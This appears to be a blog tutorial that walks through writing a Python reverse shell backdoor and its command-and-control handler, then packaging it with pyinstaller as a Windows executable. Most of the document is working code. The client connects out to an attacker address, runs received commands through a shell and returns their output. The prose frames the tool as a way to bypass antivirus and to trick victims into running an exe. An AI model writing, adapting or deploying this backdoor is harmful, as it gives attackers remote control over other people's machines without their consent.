Python reverse shells are just mean because they work really well and get the job done for hackers and pentesters against victim machines. Digging in a bit deeper we will explore what these are, how they work and why they are so effective. A reverse shell connection is a type of connection in which victim’s machine initiates connection with attacker’s PC and we have to open a port to handle the incoming connection. By using reverse shell instead of bind shell, you can bypass firewall restrictions and it also comes in handy when your victim’s public IP is not stable. Coding your own reverse shell can help
- Bypassing Anti-virus solutions
- Adding custom functionalities
In this article, we’ll try to write a simple reverse shell backdoor in python. Writing our own reverse shell will help us better understand the concept of malware, trojans and backdoors, it’ll also help us bypassing the Anti Virus solutions. Our main goal is to send & execute system commands on victim’s machine and receive the results back to our machine. For communication between the two machines, we’ll use a library “socket” in python. Using this library, we can connect or listen to a port and send or receive data within python. The second library we’ll use is “subprocess”, using this library we can execute our commands on victim machine’s “shell/command prompt”.
subprocess and os libraries
These libraries can run system commands within python. “os” library can be used to change directories, delete files, etc. Both are used for almost same purpose but “subprocess” is more modern, updated and powerful than os and offers more flexibility. Here’s how to use them in python console
azad@kali:~$ python Python 2.7.16 (default, Mar 4 2019, 15:29:09) [GCC 8.3.0] on linux2 Type "help", "copyright", "credits" or "license" for more information. >>> import os >>> os.system("ls /") 0 boot etc initrd.img lib lib64 lost+found mnt proc run srv tmp var vmlinuz.old bin dev home initrd.img.old lib32 libx32 media opt root sbin sys usr vmlinuz 0 >>> >>> import subprocess >>> subprocess.call(["ifconfig"]) eth0: flags=4099<UP,BROADCAST,MULTICAST> mtu 1500 ether xx:xx:xx:xx:xx:xx txqueuelen 1000 (Ethernet) RX packets 0 bytes 0 (0.0 B) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 0 bytes 0 (0.0 B) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0 lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536 inet 127.0.0.1 netmask 255.0.0.0 inet6 ::1 prefixlen 128 scopeid 0x10<host> loop txqueuelen 1000 (Local Loopback) RX packets 320 bytes 25628 (25.0 KiB) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 320 bytes 25628 (25.0 KiB) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0 ...snip... 0
Writing Reverse Shell
Here’s a simple reverse shell in python that will run on victim machine and will connect to our listener/handler.
#!/usr/bin/python # ---- Sockets library is used for communication b/w attacker and victim --- # import socket # --- OS library is used to move between directories --- # import os # --- Subprocess is used to execute the given commands by attacker on victim machine --- # import subprocess # --- Replace with your own IP and port number --- # ip_addr="127.0.0.1" port=1234 # --- Creating raw socket --- # try: s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) except socket.error as errrr: print("Error while creating socket: " + str(errrr)) # --- Connecting back to the Attacker's machine with given IP Address and Port no --- # try: s.connect((ip_addr,port)) except socket.error as errr: print("Error while connecting to the handler: " + str(errr)) # This will receive commands from attacker machine & execute it and then send the results back to attacker machine while True: # Commands received from attacker are stored in "data" variable data = s.recv(1024) # Reads first two letters of the string, In the case of "cd" we change the directory using "os.chdir command" if data[:2].decode("utf-8") == 'cd': os.chdir(data[3:].decode("utf-8")) # The given command is executed using "subprocess.Popen" and the results are sent back to the attacker machine if len(data) > 0: cmd = subprocess.Popen(data[:].decode("utf-8"), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE) output_bytes = cmd.stdout.read() + cmd.stderr.read() output_str = str(output_bytes, "utf-8") s.send(str.encode(output_str + str(os.getcwd()) + '> ')) print(output_str) s.close()
Replace IP Address & port number in above code with attacker’s IP and port number.
Writing Handler for the Reverse Shell
The following code will bind a socket to the given port and listen for incoming connections. After getting connection from client’s reverse shell, it’ll send commands to the remote computer and will print out results at the screen.
import socket import sys host='' port=1234 # --- Creating raw socket that'll allow communication --- # try: s = socket.socket() except socket.error as msg: print("Error while creating socket: " + str(msg)) # Binding the socket to the port and then waiting for connection from reverse shell try: print("Binding to the port : " + str(port)) s.bind((host, port)) s.listen(5) except socket.error as msg: print("Error while binding socket: " + str(msg) + "\n") # Establishing connection with reverse shell connection cn, address = s.accept() print("Connection established to " + "IP " + address + " : Port " + str(address)) # --- Sending commands to reverse shell and receiving results while True: cmd = input() if cmd == 'quit': cn.close() s.close() sys.exit() if len(str.encode(cmd)) > 0: cn.send(str.encode(cmd)) client_response = str(cn.recv(1024), "utf-8") print(client_response, end="") cn.close()
The function of above code is to wait for incoming reverse shell connections. After getting connection, it’ll send commands to victim’s machine and will display their results at your terminal.
First, you need to run handler’s code on the attacker machine, then transfer the reverse shell code to the victim machine and run this code using python3
With your handler on, run this code on windows machine using python. After running reverse shell code, you’ll receive a connection on your handler.
And just like this, you remotely get victim’s shell on your system. To exit, type “quit” in your handler and hit enter.
Converting Python to EXE
The above python reverse shell is not portable enough and can be run only on system which python install. Usually you can trick somebody to run some exe but python code may look suspicious at first sight. For that matter, we’ll convert this python reverse shell code into an executable file, that we can run on windows without relying on python. There are two libraries for python that can convert python code to executable, “pyinstaller” for python3 and “py2exe” for python2. So, go to Windows Command Prompt and type
pip install pyinstaller pyinstaller --onefile reverse-shell.py
The above command will create an executable out of this code and will place it in “dist” folder. Run this executable, it’ll work exactly like the python code but it’ll also work on systems that don’t have python installed.
There you have it, once this has been completed the sky is the limit and it is very very effective in what it does. It gets even worse when attackers embed this in legitimate looking applications or files.